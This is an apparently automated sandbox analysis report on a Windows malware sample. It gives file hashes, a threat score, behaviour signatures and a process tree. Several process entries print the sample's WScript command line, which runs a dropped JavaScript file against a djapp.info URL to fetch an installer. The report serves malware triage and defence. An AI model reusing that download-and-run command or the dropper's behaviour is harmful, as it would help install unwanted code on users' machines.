Analysis

  • max time kernel
    100s
  • max time network
    90s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/04/2024, 22:13

General

  • Target

    0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    0a89c128d697ccbdff91a7aa88856529

  • SHA1

    c3202b614ab2a13586416d1f85d259433b310d91

  • SHA256

    3c5c9aba42ed81717d9eb1c7c71c0f63655d9e82c8378553ea4eefec5469feb8

  • SHA512

    a8bab75b24a16438abe89887edc526661d6e651bb8a9ac4b32b6b657b933a4a0f95fab6c318b3cb8981fd01791e04a7ab223c9ec3e7443a30aa0605e3937dcf7

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndn/

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3748
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3808.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3808.exe
      2⤵
        PID:4924
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3808.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3808.exe
        2⤵
          PID:4368
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3808.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3808.exe
          2⤵
            PID:4956
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3808.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3808.exe
            2⤵
              PID:3800
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3808.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3808.exe
              2⤵
                PID:2696
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3748 -s 1500
                2⤵
                • Program crash
                PID:3780
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3748 -ip 3748
              1⤵
                PID:4428

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\fuf3808.js

                Filesize

                3KB

                MD5

                3813cab188d1de6f92f8b82c2059991b

                SHA1

                4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

                SHA256

                a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

                SHA512

                83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76